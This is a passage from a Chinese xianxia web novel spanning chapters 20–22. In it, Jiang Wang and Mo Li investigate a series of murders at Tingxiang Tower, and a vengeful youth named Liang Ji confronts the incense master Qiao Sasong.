女人瞅了段云烁一眼,撇撇嘴,不情不愿地接了过来,不情不愿地套在了手上,在眼前晃了晃。
还挺好看。
“多少钱啊?段云烁。”她故作深沉地开口。
段云烁:……
江妄怼了他一下,“段哥?”
段云烁猛一激灵,“不贵不贵……啊不,有点小贵,呵呵,媳妇儿你喜欢就好,哈哈。”
女人瞟了江妄一眼,转过身又是横着往回走,“进来坐吧。”
江妄笑的很开心,“好嘞,嫂子。”说着她拉着麻木状态的陌离,“走呀,吃饭去了,陌哥?”
陌离浅浅皱了一下眉。
江妄笑道,“不是叫黎墨吗,叫句墨哥也没错吧?还是,你喜欢我叫你,小师弟?”
陌离:……
江妄到底是吃上了段云烁家的饭。江妄表示还是好吃呢,虽然她也分不太清味道。
江妄还是之前的那个问题。
这次张芳态度好了不少,也勉强回答了,“还盗墓贼?你们是不知道我爹有多穷啊!”
江妄:……真是直爽。
“而且我爹生前从没得罪过谁,一辈子最大的人际也就是和段云烁他爹好的跟一个人似的。哪有人会闲的无聊去刨他的坟,还,还剁得稀碎啊!这不是示威是什么?当时段云烁第一次去缥楼闹,我们就被人家弟子上门威胁了,让我们不许声张。这一想就是段云烁闹得太大才……”
“是这样啊。”
吃饱喝足,江妄借着更衣的名义出去了。不一会儿,段云烁
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也出来了,问江妄有何吩咐。
江妄朝他投去了一个赞赏的目光。窝囊是窝囊了点儿,但还是有脑子呢。
“带我去发现段勇尸体的地方看看。”
“好,大人,走这边。”
江妄被段云烁带到了一间书房。段云烁上前打开那一层又一层在他看来复杂无比的锁阵,那书房的门被推开,一阵灰尘夹杂着隐隐闷臭的味道袭来,江妄却直接踏进了这个暗沉的房间,好像她根本闻不到味道。
灵光阵已经失效了,段云烁很有眼力见儿的凝起灵力为江妄照明,却让空气中漂浮的灰尘变得肉眼可见。
段云烁满屋子走,带起一阵阵的灰,告诉江妄当时他爹是在哪儿被发现的,发现时什么样,种种细节,无一不清楚。
江妄也耐心听着。末了,便叫段云烁去外面等着,说要自己探查。
“大人不用我照着亮吗?”
“不用了,你出去。”对于江妄来说,事物在黑暗中比在白昼中更加分明。
江妄扫视了一圈这间书房,在感觉到什么东西时轻轻皱了一下眉。
她走到书架前,抬起手虚虚掠过一排排的书。突然,江妄的手停在了某一本前,她捏住那本书抽了出来。
这本书透着阴凉,不似寻常温度。江妄一页页翻着,在翻到某一页的时候,她停住了,又往回翻了一页。
江妄的手在灰暗的空间里愈发显得苍白,苍白得都有点发蓝。
灰尘舞动的杂乱空间里,门窗紧闭,透不出一丝光亮来,素白长裙的女子靠在桌边,一双苍白的手捧着一本厚厚的书。
这位白衣女子不知为何闭起了眼睛,而后,她的身影渐渐虚化了起来,飘浮在灰尘中。那本她刚才拿在手里的书也浮了起来,剧烈颤动了起来。
这样诡异的场面只持续了一会儿。
随着那本书啪嗒一声掉在了地上,而那个白衣女子的身形也渐渐显露了出来,她脚尖一点落回地上。
是魂魄的碎片。江妄弯下腰捡起那本书放回原位。
这本书里曾经藏匿着一片魂魄碎片,后来消散了。正因为只是曾经藏匿过,早就没了痕迹,江妄费了一番力气才得出结论。
魂魄不能被灭杀,这是天道规则,照理说,就更不可能被撕裂。
可这本书那一页上确实只是待过魂魄碎片,还是那种很小的碎片渣,小到像是不小心溅上去的。
应该是死时太过痛苦,不似常理的痛苦,导致精神崩溃,被吓得魂魄边缘略有破损。
而等他彻底死后,刚一魂魄离体,就被人以非常手段掐灭了。
掐灭他魂魄的那人却并没有注意到,他有些微的魂魄碎渣还没有归位。
白衣女子轻轻地勾起唇角。
--
江妄和段云烁一前一后回去,张芳瞪了段云烁一眼,但也没说什么。
江妄没再坐下,“师弟,你吃好了吗?”
一口没吃的陌离:……
江妄笑笑,“那我们就告辞了。”
段云烁赶紧起身,“大人,你们就这么走了?那我爹……”
还没等江妄说什么,张芳立刻道,“别再来了,我们不欢迎你们,这件事我们到此为止,希望你们明白。”
段云烁:“不是……”
江妄却很识趣一般,“好的,今天多谢嫂子款待,我们先走了。”说罢,她拉起陌离就往外走。
段云烁赶紧追出来,一下子跪在了江妄面前,“大人!您可不能就这么不管了,我……我……您是我最后的希望了……”
江妄没去扶,也没有答应什么,她低头看着段云烁说,一脸高深的样子,“是真相,总有浮出水面的一天。”
然后就在段云烁绝望地以为这位大人要甩手不管了是时候,江妄又补了一句,
“如果我想知道的话。”
段云烁一时没反应过来,只有点愣神儿地仰头看着这个白色长裙的姑娘。
她瓷白的面容上,那一双黑亮眸子里的笑意,是他平生未见的神采飞扬。
待他回过神来,品明白了江妄话里的意思,立刻生出了疯狂的欣喜来。段云烁对着这个神明般的姑娘不住地叩头,“多谢大人!多谢大人!多谢大人……”
20. 第 20 章
绛楼十三楼熙鹤堂书房。
一张气派的灵木桌台上,一个圆润的脑袋趴在成堆的简讯玉牌上面,那双平日里常眯着的眼睛此时却尽力睁大,盯着某一展开的讯息,平日温善的面容上满是讥诮。
屁的“唇亡齿寒”!他们和暄妍城隔了多远了都,就是那鬼王屠城了,这火也烧不到听香来。
不过是宿芳宫和那江妄对上,吃了大亏了,就逼着他们表态,要整合南界之力搞什么狗屁剿鬼,好把他们也拉下水。
整合南界之力?真是敢说,你宿芳宫去整合,把遥岑宗放在哪里?
还真是认不清啊。襄竹宫都没了,襄竹长老林铮也死了,林家除了林子煜一个能顶事儿的都没有,沈家又趁机夺权,两家内斗不休。
这个节骨眼儿上不去考虑怎么休整,割地赔款怎么都好,让鬼王息怒。反而公然和遥岑意见相左,叫起板来。还以为自己是以前的宿芳宫吗?被灭了一宫,现在怕是连听香楼都比不上。真是愚不可及。
乔洒松翻了个白眼,抬起手往外挥了一下,随着那些灵力凝成的字句就散去,一张简讯玉牌就从桌上弹了下去,啪一声摔在地上。
最近事情这么多,宿芳宫还用这些烂事烦他,委婉回绝多少次了。
不过……是这两天连轴转的原因吗?怎么脑子这么沉……刚才还以为是倦……不过他是化神,怎么会轻易就累成这样?现在意识已经……
一阵奇异的香席卷了整个房间。香气幽微,并不浓烈,却是足以令闻见的人迷醉。
不是那种人工糅合精心制作的香料,而是,天地两界间自然生成的,没有任何调香师炼药师能做出来的清灵香气。
……
乔洒松不知道睡了多久,他睁开眼睛,缓了会儿神儿,感觉视线还是模糊,但也隐约能看见自己面前有个人影。
谁啊?他记得他不是改了熙鹤堂的解阵香吗?怎么进来的……乔洒松感觉自己的思维异常迟缓。
他抬起昏昏沉沉的脑袋,用力眯着眼睛想看清楚来人,却怎么瞧都是虚影。
若乔洒松是清醒的,他就会发现,现在的情形很不正常。可惜,他的神智是他现在意识不到的模糊。
这一切混乱随着一声问候渐渐清晰起来。
“乔大哥,别来无恙。”
乔洒松眼前晃悠的画面骤然静止了下来,一张略显青涩的少年面孔出现在他眼前。
砰的一声。乔洒松肥胖的身躯从椅子上滑了下来,一下子地摔在地上。
他的五感刚刚从混乱之中解脱,入目的就是这张脸,纵使乔洒松是再淡定的性格,也被狠狠的惊吓了。
少年的五官并不浓烈,因为年纪小还没长开,显得有那么一点儿寡淡,却并非不俊俏,只是更添几分纯粹。他一身月白长衫,腰间系着墨绿色的锦带,墨发随意束成马尾,额前还留出两缕来,和莹白的面颊相得益彰。
是个名副其实的美少年。
只是这个美少年此时看向乔香主的表情有些扭曲。他下颚小幅度地颤动,那双极黑的眼珠满含戾气,像是跟乔洒松有杀父夺妻之仇似的。
乔洒松的反应也不寻常,他死死盯着少年看,脸上的惊吓逐渐变成了诧异。
可能是回过了神,乔洒松反手扶着身后的椅子站了起来,当他看清少年脸上显而易见的憎恨时,他连诧异的表情都收了起来。
“是梁霁啊,真是好久不见了。”乔洒松道,随后他竟露出了长辈般的慈祥笑容,
“这些年怎么一点儿音信都没有呢?要不是你今日不请自来,我都以为……呵呵,以为你死了呢。”
那位叫梁霁的少年听了这话,周身气势更加阴沉,眼中的戾气有如实质般。
他费了很大力气扯出了一个僵硬的笑,
“死是最容易的事。我用了三十六年的生不如死,今天站在你的面前。”他语速极慢,几乎一字一顿。
“你准备得怎么样了?”
乔洒松皱起眉头,有了丝丝预感,但他还是问,“你说什么?”
少年向前逼近,咚一下把双手撑在桌台上,明明清澈的少年嗓音压得分外低哑,
“作为三大香主中剩下的最后一个,你现在很慌吧。”
他抬头阴鸷地看着乔洒松,“不过,你不用慌了。我明白告诉你,就是冲着你来的。”
乔洒松证实了自己的预感,瞬间气息就不稳了,“是你做的?!乔家,王勤,黄栖权……还有,还有听香城这些年的惨案,都是你做的对吧!……是了,你从小就和那些树精亲。”乔洒松恍然大悟般点头。
突然,他的语气奇怪了起来,
“真是有本事啊,当时金丹都给掏出来了,筋脉都被截断了,还能弄出这么大的闹剧。不会是……你用这些植物练了什么邪功了吧?对嘛,食人内脏,吸人修为,你还真是不挑啊!”
他那幅总是和蔼的面孔变得狰狞,好像撕掉了一层皮一样,
“哈哈哈哈哈……天纵之才的梁小少爷,炼邪功来提升修为!哈哈哈哈!这真是比沦落缥楼被人轮了还要搞笑……”
灵木桌台瞬间咔哧咔哧碎成了木块,乔洒松张狂的笑声戛然而止,因为他被一股力量抽飞了出去,重重地打在墙上,猛地呕出一口血来。
墙上各种华丽的装饰纷纷掉落,有的还砸在乔洒松身上。
乔洒松疼得身体不受控制地抽搐。
他这才意识到,梁霁能悄无声息地站在绛楼十三楼他的领域里,他的修为……有可能已经高于他了……
怎么可能?怎么可能!从一个废人到化神后期啊!只有三十六年啊!怎么可能!
乔洒松靠在墙根,神经质般地摇头,不可能,不可能,就算是炼邪功也不可能……
那个少年已经迈过满地狼藉朝乔洒松走了过来,他双目充血,看得出是在极力地忍耐杀欲。
“你放心,”他极力找回自己的声音,“你会是最后一个。”
乔洒松也恨恨地看他,来掩盖眼眸深处藏着的恐惧,“你个,丧尽天良的……别以为南界任你放肆了,你最好……”
“呵。”少年捡起刚才从展示架上震落的剑,对着乔洒松比划几下,像是在考虑怎么分尸一般。然后,他贴着乔洒松的头皮,一点一点把那把剑插进了墙里。
乔洒松先是感觉剑刃冰凉,然后是头发洇湿,最后就是火辣辣的疼痛。可他却像是被某种无形的东西锢住了手脚,连动一下都做不到,只能不停质问,
“你到底要干什么!”
少年退后,欣赏着自己的杰作,
“我干什么?”他状似无奈般摊手,努力做出无辜的神色,外人看了却只是满脸的癫狂,
“不如你去问问那对多管闲事的狗男女,今天遇到了什么事儿。然后好好思考一下……自己的死法。”
--
江妄和陌离从段云烁家出来往绛楼走。
阳光不见丝毫刺眼,可见留在今日的光亮已经不多了。
临近收摊的街里却依旧热闹不减,而这些热闹大多是由人们即将要归家的喜悦而起。
偶有那么一两个不和谐的哭声骂声响起。看过去,是个年幼的孩子满地打滚讨要玩具。再看过去,是个男人在追扒手。
那个孩子的父亲无可奈何地掏出荷包里的最后几颗灵石,孩子也立刻不哭了,兴高采烈地接过玩具,大嚷着爸爸最好。
那个脏兮兮的扒手被按翻在地,满嘴喊着饶命,男人把拿回来的钱包递给妻子,问她少了什么没有。
最后,孩子骑在他父亲的脖子上,高举着玩具摆弄,像胜利的将军一样,走在回家的路上。
最后,男人又骂了一句扒手,搂着妻子往家的方向走,妻子满面笑意,却趁男人不注意,摸出一颗灵石扔给了身后的扒手。
街市里人潮车马川流不息,各处渐渐地都张起了灯,华光映霞,好一处人世烟火。
听香楼的弟子可能是因为功法缘故,并不像其他修士一样清高傲物,故而这里虽是绛楼附近的街市,街边贩卖的也不全是灵器符箓之类,反倒有不少寻常修士眼中的“俗物”。
比如,江某人现在就坐在一个馄饨摊前,捧着一个大碗吃的很香的样子。
虽然这碗里的东西她并不需要,也吃不出任何味道。
纯纯的浪费粮食就
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是了。
陌离执剑站在一旁,面无表情地看着江妄,那一身气势耽误了馄饨摊老板不少生意。
江妄倒是吃挺开心,一点儿没有被死亡凝视盯着吃不下去的意思。心里觉得:正好,陌离站这儿,旁边都没人挤她了。
……
直到陌离看着江妄正往桌角摞第五个大碗。那个看似寡言少语的公子终于努力把嘴打开一个小缝,从牙缝里挤出来几个字,
“可以了吧。”
江妄抬头看了他那张紧绷的脸一眼,突然不知道抽又哪门子风。只见她十分夸张地把脸一苦,
“相公。”
……
她努力学着那个骚包狐狸精的样子,一手捏兰花指状,抚在鬓角,“相公,你好狠的心啊……当初恋爱的时候你对我多好啊,你都忘了吗?”说道这儿,江妄本想夸张地抽噎一下,却不知为有点儿演不下去了。
可现在台下一堆“观众”呢,故事说道一半总是不好的,她只能半遮眼帘,该用一种近乎平静的诡异语气继续下去。
“当时条件差,吃不上东西,有那么一口吃的你都留给我啊。遇到猛兽,你推开我死死挡在我前面啊。多少个寒夜里我们紧紧相拥啊,甜言蜜语不知道说了多少啊,我们说好要一起看一场雪的……”说到这儿,她沉默了,好像痴情人陷入了回忆之中。
但这回忆的时间好像不长,白衣姑娘抬起头时已是满面笑意,或许是故意演出来的痴情人的苦笑,或许是捉弄陌离后的得逞。
“现在是不缺钱了,我多吃几碗馄饨,你却嫌弃我吃的多了,呜呜呜呜……”
周围人无一不向陌离投去了谴责的目光,大意就是,这么可爱的娃儿,咋能不给她吃饱了啊?
更是有一个大哥“挺身而出”:“妹子,这男人坏得很,你别跟他了。以后你就是我亲妹子!能吃怎么了?老哥养你!”
江妄:……
陌离好像终于绷不住了,他上前一步拉住江妄的手腕,随后一个捏决,二人身影便消失在了馄饨摊。
修士在绛楼附近并不稀奇,这一幕落到众人眼里不过是那男的被说的羞愧难当遁走了,也就都散了,只剩下那个放出豪言要养江妄的老哥仍在意难平。
--
九楼金露阁。
江妄被强拽着走了一套又一套阵法,魂力都有点不稳,现在晕的要死。
陌离一把松开江妄的手,冷声开口,
“你到底是谁?”
江妄扶着嗡嗡响的脑袋,不假思索般,
“江大顺,俍业人,习巫术,年十八,一枝花……”
陌离眼神更冷,清透的琉璃眸色此时更浅,像是冰晶般剔透。他打断江妄的套话,直接问,
“你是蒋六吗?”
……
金露阁内一时无言,高阶灵石燃烧的光亮点点映在陌离眼中,江妄看进青年那双眼眸,突然不知道该怎么接话了。
奢华的布置,流淌的灵力,闪烁的光亮,静谧的黑夜,只听见“哈”一声轻笑。
“要紧吗?”江妄说。
陌离刚要开口回答,江妄又紧接着说,“你知道什么是要紧吗?”
……
陌离不知道。
就连刚才想开口回答也不过是下意识的反应,就算真开了口,他也不知道怎么回答。
江妄像是对陌离的默认并不意外,
“我来告诉你,公子。要紧呢,就是一件事一个人,他重要到可以改变你原本的规划。
而我是蒋六也好,不是也罢,公子你既定的规划,你即将要做的事,会因为它而发生任何改变吗?”
陌离神色微动。
不会改变。
我还是要应劫飞升上界,接近法则成为司雪者,以掌控雪境,找到谏往镜。他心里这样说。
可是又不是的,眼前的姑娘不是不要紧的……
他动了动嘴唇,却一个字都没说出来。
江妄扯出了一个了然的笑,她闲闲地坐在了那个锦褥玉床上,
“我不难为你,公子。等有一天你能回答我这个问题了,我便也回答你我是谁。”
21. 第 21 章
就在二人僵持的时,床边小桌上的一颗明珠疯狂闪烁,江妄好奇地看了过去。
这颗珠子兀自闪了一会儿,看没人搭理它,就自己停下来了。
然后,突然,它开始以一个可以把人眼闪瞎的频率疯狂闪了起来,甚至带动金露阁中所有燃烧的高阶灵石一起闪。整个房间内忽明忽暗,活像蹦迪现场。
江妄看着陌离的脸突然出现又消失,突然出现又消失,诡异得很好笑。奇奇怪怪的兴趣又来了,江妄也不动,就那么大睁着眼睛看着,嘴角还挂着笑。
可同样,江妄这张脸出现在陌离眼里……
陌离终是受不了,一道灵力打在那颗珠子上,江妄的脸倒是不闪了,一道惊恐的男声没有停顿的响在金露阁,“师姐在吗?师姐在吗?师姐让我进去,有要事相商!”
江妄没玩够,兴致缺缺,听到这传声里明显异常的语气,也神情不变。
她用眼神示意陌离:乔洒松?
陌离点了点头。
江妄只能应声,“是乔香主呀,这大晚上的,有什么事吗?”
乔洒松却好像一定要见江妄,
“师姐,这么晚了实在不愿打扰师姐,只是……可否让我进去,传音说话总是不便。”
看来不是小事,
“说什么打扰,香主进来吧。”
乔洒松一进来身形还没站稳,就立刻急切地问,“师姐今天去哪了?”
江妄没有立刻回答,她上下打量了一下这位乔香主。
只有四个字能描述乔洒松现在的状态:形容狼狈。
他头发散乱,发髻边缘正渗着血,衣衫上全是灰尘,袖口还有破洞,前襟晕着大面积的干涸了的血。
真是很狼狈。特别还是平时非常非常注意形象的人,就显得更狼狈了。
江妄面上不显,只是笑道,
“香主这是打哪儿来?怎么打扮得这么……新潮?”
乔洒松一听这明显戏谑的话,脸色略沉了些,但还是扯出个笑,道,
“师姐就别取笑我了。刚商行来了两个不讲理的,我一时不察被偷袭了。”他打了个哈哈,又重复问道,
“师姐今天到底去哪了?”
江妄看了他两秒,笑了一声,
“香主这是怎么了?竟是盘问嫌疑人的语气?”说罢,她也不等乔洒松解释,好像这句话只是开个玩笑,又继续说,回答了乔洒松的问题。
“算了算了,也没什么不能说的。我和师弟不过是去了趟缥楼。”
乔洒松却是脸色大变,瞳孔里不自觉地染上了些许惊惧,他的呼吸急促,音色颤抖地问道,
“是……哪个缥楼?”
江妄明显看出乔洒松有异,还是笑容不变地接话,“碎荷巷那个缥楼,怎么了吗?”
“果然是……果然……”乔洒松突然像被抽干了力气,跌坐在了那大玉床上。
往常,如此失礼的举动,乔洒松是一件也不会做的。今天却好像无心经营形象,满满的心神都像是挂在什么事上。
江妄并不理会他的怪异,也不追问,只是含笑开口,
“这两日香主真是辛苦了。都是那些不长眼的,没良心的,香主平日里是怎么待他们的,现在香主有了点儿麻烦,就一个两个不依不饶,真是可恨。
我和师弟也是明白香主辛苦,不忍打扰,这才先去的先香主黄栖权的死亡现场,也没和香主知会一声。
只可惜,这一天查看下来,并没有什么收获,真是惭愧。”
乔洒松听到这却像是松了一口气,他站起身来,语气里是含着期待的意外,
“你们去缥楼,是去查黄栖权的死?”
江妄答,“是啊。”
乔洒松缓了口气,展开一个客气的笑容,“原来是这样,师姐辛苦了。没有线索也是正常,翾风娇子死了近两月,时间太久,处理这件事的王香主也不在了,真要师姐查出什么,那才是为难师姐。”
“不过,”江妄看着好不容易放松下来的乔洒松,轻轻笑道,“线索是没找到,但却遇到了一件很有趣的事。”
对上乔洒松骤然看过来的眼神,江妄继续道,
“是个大孝子的感人事迹呢。
他父亲死的很诡异,尸体全身上下一根骨头都没有,却没人能找出凶手,为他父亲报仇。真是太惨了不是?他没办法,只能日日在缥楼门前哭告。今日,正巧被我撞见。
香主你说,这抽掉骨头的手段……我怀疑跟听香城这些惨无人道的凶杀案有关,所以便问上了几句。
对了,那孝子的爹,叫段勇,是碎荷巷出了名的老好人呢。生前,是个镖师,没什么特别……”
“够了!”乔洒松突然厉声喝了一句,他凶狠地瞪着面前的江妄,这一方空间里只余下乔洒松粗重的喘息声。
过了好一会儿,他才好像醒过神儿来,微微转了转眼珠,辨认出了面前的人是江妄。
乔洒松神色变了几番,最后极其不自然的给江妄道了个歉,然后拿出个瓷瓶,赶着投胎般急急闪身走了。
金露阁里又只剩下江妄和陌离。
江妄看了看这被乔洒松坐过的床,抬手直接把锦被扯下,随意丢在地上,然后就大大咧咧的坐了上去,没骨头般靠在床头。
她招招手,“公子,过来坐。”
陌离站在原位没有动,只道,“被子扔了,你睡觉盖什么?”
江妄噗嗤一笑,摇着头说,“公子在和我开玩笑吗?你我修行之人,还需睡眠?”刚说完,江妄就感觉到不对了。
果然,陌离一脸冷漠道,
“你们俍业人,只是习巫术,既不炼身,更无法用灵力自御。你是如何做到不需睡眠的?又是如何一顿吃下五大碗馄饨?”
江妄:……
完了,穿帮了。
莫事,不慌。
江妄灿烂地假笑了一下,
“能吃是福。况且天下之大什么人都有,能吃下五碗馄饨,那只能说明我胃口好,是个有福之人。”她不慌不忙地编着,一边直起身子跪在床上,膝行至床边,抬手拉住了陌离的袖子。
陌离没躲,也低头看着她,可能想知道她又搞什么名堂。
“至于睡眠……”江妄仰头看他,向他展露一个大大的笑容,“和这样俊俏的公子你共处一室,我又怎么能睡得着呢?怎么舍得睡着呢?”
……
突然,那颗传讯明珠又闪了起来,江妄陌离对视一下,各自都是无语。
今天晚上不速之客怎么这么多啊?
陌离挥了下手,一道焦急的女声传来,是接待他们的那个小姑娘。
“师姐可休息了吗?”李甜甜急急地问,好像只是客套一下,立刻又紧接着说,“听香楼出事了,香主也不见踪影,没办法只能来请您了,您……”
听香楼出事了?多大的事?
乔洒松不在?刚才不是还来过吗?
就算现在这唯一的香主不在,她记得这听香楼可是还有一位掌事在呢,怎么也轮不到她这个外人来主持大局吧?
等等,不会……
这么想着,江妄百般不情愿地从软绵的大床里把自己抠出来,双脚踩在地上的瞬间就感觉浑身的魂力都被抽空了一般,心
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累。
陌离啊,陌离,这个世界上你再也找不到比我对你更好的人了。能大晚上的爬下床为你干活儿,我就问,还有谁?!
……
江妄掏出一个瓷瓶,拉起陌离,闪身出现在李甜甜面前。
“走吧。”
果然,是那位听香楼唯一掌事,柳泉,死了。
死的地方还很巧,正是江妄他们白天刚去过的,翾风娇子黄栖权死亡的那个,碎荷巷的缥楼。
“你们香主去哪了?”江妄看着那个晃晃悠悠快要烂掉的桌子,以及它上面左颠颠右颠颠的人头问。
李甜甜摇了摇头,“香主不见踪影,又联系不上,去熙鹤堂传音也无人应答。”
这时候,那个缥楼的楼主小心翼翼地说话了,
“李师姐,其实……香主来过的,就在第一次您带人来之前。”
“什么?”李甜甜一脸诧异,看起来是真的不知道,“那你之前为何不说?”
“李师姐您是乔香主的人,我自然以为您来是查看香主安排好的,就没多说话……”缥楼楼主说。
“那香主走时候可说了什么吗?”李甜甜打断他无用的解释,赶紧追问。
“这……”缥楼楼主神情有些为难的样子。
“快说!”李甜甜真的急了。
“我……我不知道是不是我眼花看错了啊,”那缥楼楼主犹犹豫豫地开口了,
“今晚我们弟子一发现……尸体,看储物袋里全是十三楼的解阵瓷瓶,再联想黄香主和王香主的死……真快吓傻了。
我们立刻启动警报,联系绛楼,不过一会儿,乔香主就来了。我们也就明白,死的是柳掌事了。
乔香主来得时候脸色特别难看。我们大概都知道近来听香楼的事,明白乔香主着急是情理之中,也没多想。但是后来,乔香主让我领着去案发现场的时候,他表现得就有点奇怪了,不像是正常的生气着急。
走在去现场的路上,他灵力就开始外泄,我被压得差点儿跪在地上,等到了这里,他灵力就直接暴走了,我被击飞了出去,等我再回来的时候……香主已经不在了。”
“他从始至终什么都没说,但我在被击飞之前,隐隐看见了他的表情。还是那句话,不知道是不是我看错了……”
“没事,你随便说说,我们随便听听,不会有别人知道你说了什么。”江妄鼓励他。
“有师姐这句话我就放心了……我看见香主脸色很白很白,神情不像是愤怒,倒像是……惊恐。”
“你好大的胆子!香主是什么人,什么场面没见过,会害怕这点儿?”李甜甜急声喝道。
缥楼楼主赶紧低下头,“我都说了晚间光线不好,可能是我看错了。我都说了的……”
“哼。”李甜甜冷哼一声,“再不要乱说,编排香主你可吃罪不起!”
“是是是。”缥楼楼主点头如捣蒜。
江妄看了看这个简陋的小房间,不,不能只说是简陋了,简直堪称破烂。
还记得那翾风娇子黄栖权死的房间可是整个缥楼最最豪华的花房,而这里,简直连柴房都不如。
腥气和霉气交杂,空间狭小,到处肮脏,现在又摆上了一副惨死的尸体,干瘪的头与躯体分开摆放,皮囊血肉和□□各论各的。真是,恶心到了极致。
虽说听香楼的掌事没有香主权力大,可香主有三,掌事却只有一位,怎么也是处于听香楼最顶层的权力中心。就算一时新鲜来这个低级的缥楼修炼一番,也绝对不会是在这种房间里。
“听楼主的意思,你们并不知道掌事来楼里的事?”江妄问道。
22. 第 22 章
“诶呦,这我们哪知道啊,头都这样了,要不是那些瓷瓶,我们根本不知道是谁……”缥楼楼主苦着脸道。
“所以,这掌事的尸体,是凭空出现在你们缥楼了?”江妄在这狭小的空间里走了两圈,
“看着也没什么打斗的痕迹。也是,就这小破屋,不用元婴化神,随便来两个会武的小孩儿都能打散了去。”
缥楼楼主:……
大家也都明白江妄话里的未尽之意了。
这掌事是被杀害之后,特地拿到这间破屋子里的。
再联系乔洒松看见这房间的奇怪反应,这个缥楼,绝对有点儿什么……
在场的四人没一个傻子,一时间心思各异。
江妄他们从这破烂房间里退了出来,四个人站在这缥楼的后院里。
江妄看看他们刚才得弯着腰才能进出的小门,再次感叹,这房间真不是一般的破。
她甚至感觉,这个房间跟本就不是缥楼建筑的一部分,而是为了方便后院奴仆蜗居随意搭建的。
终于能伸开胳膊了,江妄心想。刚才那点儿小空间,她但凡回个头,都能跟陌离亲上。
……
江妄小脸刷地红了一片,不知道脑子里又装了什么废料。
相较之下,其余三人再神色各异也都显得正常多了。
李甜甜脸上的慌乱藏都藏不住,或者她也不想藏了。
乔洒松明显与这些事有关。而最主要的是,死的这位柳掌事和乔洒松一样,都是化神后期……
而没有乔洒松,她李甜甜就什么也不是。
李甜甜现在不想去思考到底怎么回事,这一连串的惨案是不是有什么联系,更不敢去想制造出这么多惨案的凶手是多么有备而来。
她只知道,她必须找到乔洒松,乔洒松必须活着,乔洒松必须和这些事没关系,乔洒松必须好好的做他的绛楼弥勒。
其他什么都不要紧。
缥楼楼主则死死盯着自己脚尖,恨不得整个人缩进地里,用尽全力地在削弱自己的存在感。生怕龙王打个架,他这小鱼小虾遭了殃。
而陌离嘛,自然是目光涣散着,维持着他一贯的呆滞……呆滞?他气息突然变化,周身灵气冰冷得仿佛要凝华一般。下一瞬,一道翠绿的光剑凭空出现在夜色中,嗖的一声飞到围栏那边。
下一瞬,一个通红的身影“呜嗷”一声,火烧屁股般从围栏后面窜出来,然后就开始不断缩地,围着后院一圈又一圈的跑,快得只见残影。然而不管那红影有多快,它身后都始终有道模糊的绿光,一圈又一圈紧跟着。
不知道绕了多少圈,姬瀛丘跑累了,刚停止缩地,回头一看,那绿光就直逼眉心了。
……“啊啊啊!有完没完啊!”
他只能继续缩地狂奔。边跑他边哭喊着,委屈得不行,“我哪儿得罪你了?啊?至于吗……”
减翠攻势却丝毫不减,反而更加凌厉。
陌离眼眸冰凉,双手捏诀,使出的皆是绝命的招数。
若随便换个元婴甚至是化神在这,怕是要命丧当场了。
可姬瀛丘还一点儿向外逃的意思都没有,只是围着后院不停转圈圈,花式躲避减翠的攻击。
可以说是,游刃有余了。
陌离显然也意识到这一点了,他琉璃瞳色变深了些,那张绝美的脸上仿佛凝了一层寒霜。
原不想让她看见的,就算要杀也不该当着她的面杀。可这狐妖……
陌离眉头轻蹙,神情更加凌厉。他停止捏诀,直接把减翠召回。可他却不等减翠飞到手中,而是纵身跃起至半空中,伸手接住了那道翠绿的光。
他并未做任何停顿,一剑刺向姬瀛丘心口。
姬瀛丘都懵了,他根本不知道身后没有剑在追了,还在不停地转圈圈呢,哪想到前胸突然一阵剑气袭来,他刚缩了一次地,根本停不下来,相当于直直地朝剑尖撞了过去。
无法了……姬瀛丘只能无助闭眼。
元婴一剑,可劈山填海。陌离这一剑威力更盛,宰一两个化神都不在话下,可见是使了全力,必要杀他。
陌离!算你小子狠!你他爹真是,狗咬吕洞宾,我都是为了谁啊?
哥跟你心连心,你跟哥动脑筋你……
罢了,他再怎么说也是个练虚,不至于真死了。就是……疼啊!
然而,这疼却迟迟落不到身上,周围也出乎寻常的安静。
姬瀛丘悄悄把一只眼睛睁开一道小缝。
月光下,一顶白色帷帽浮在胸前,挡住了减翠的剑尖。
那朴实无华的帷帽此刻坚若钢盾,任凭减翠高速自旋着想要穿透一切,却无法再近一寸,甚至连一丁点儿剑气都透不过去。
姬瀛丘完全睁开双眼,白衣姑娘的面容在这样的月夜里格外出尘,她唇角带笑,眸光柔的竟像水一样。
……
姬瀛丘呆愣不过一两秒,便夸张地吸了吸鼻子,一脸感动欲死的模样。
江妄用了魂力。
她只是随手扔过去了一顶帷帽,就好像世间最坚固的城墙,能阻挡一切它想阻挡。
也许这就是大乘的实力。
那缥楼楼主没能及时离开,早就被压趴在了地上。也不怪他傻,主要是陌离说动手就动手,根本没提醒他。
而他们一直僵持,谁也不收手的话,那楼主就得一直趴着。
江妄为数不多的良心今天发现的有些泛滥,她冲着陌离道,
“师弟,要不松手吧,减翠举着怪累的。”
姬瀛丘也跟着小鸡啄米般疯狂点头。
陌离死死盯着她,那眼神比刚刚要杀红蝴蝶的时候还要瘆人,她刚说完这句话,减翠就啪的一声掉在了地上。
呦,今天怎么这么听话,都学会令行禁止了……江妄挑眉。
缥楼楼主在灵力波散去的第一时间从地上爬了起来,然后也顾不上打个招呼,一张传送符遁走了。可见是一刻也不想多呆。
陌离收回盯着江妄的眼神,减翠回到手里。他辨认了一下刚刚那缥楼楼主遁走的方向,提剑就要追过去。
江妄看他这架势,不知为何有一种不好的预感,她急忙拦住他,“你干什么去?”
陌离语气冰冷,
“灭口。”说罢又要走。
“?”江妄有一种我就知道的感觉,但也不是很奇怪就是了,毕竟陌离脑子不好也不是一日两日了。
她赶紧上手拉住他的胳膊,
“不是,你灭什么口啊?”结果根本拉不住,江妄只能试图转移他的注意,
“好就算你要灭口,这不是还有一个呢吗?”她指着姬瀛丘。
姬瀛丘:……?
“灭不掉。”陌离看都没看姬瀛丘一眼,一本正经地开口,语气平静的冰冷着。
江妄:……
你这欺软怕硬的也有点儿过于明显了吧……
“不过用不了多久的,”陌离好像也不纠结非要去灭那缥楼楼主的口,他收起减翠,眼神又开始涣散了。
陌离睁着那双美丽却呆滞的眼珠,看着姬瀛丘大致所在的方向,继续陈述,“且容你再活几日。”
江妄:……
姬瀛丘:……
柳掌事的魂魄依旧召不来,江妄都习惯了。
此处显然没什么好待的了,江妄率先朝着绛楼的方向走,她现在只想回她的大床上躺着去,虽然她既不困也不累。
至于乔洒松,她想,李甜甜会帮他们找到他的。
她刚刚在李甜甜身上留了一缕魂力,只要她去见乔洒松,江妄就一定能感觉到。就算被乔洒松发现了,他发现那一刻,也来不及跑了。
至于她非人的身份嘛……乔洒松知道了就知道呗,反正……这几个人也知道的差不多了。
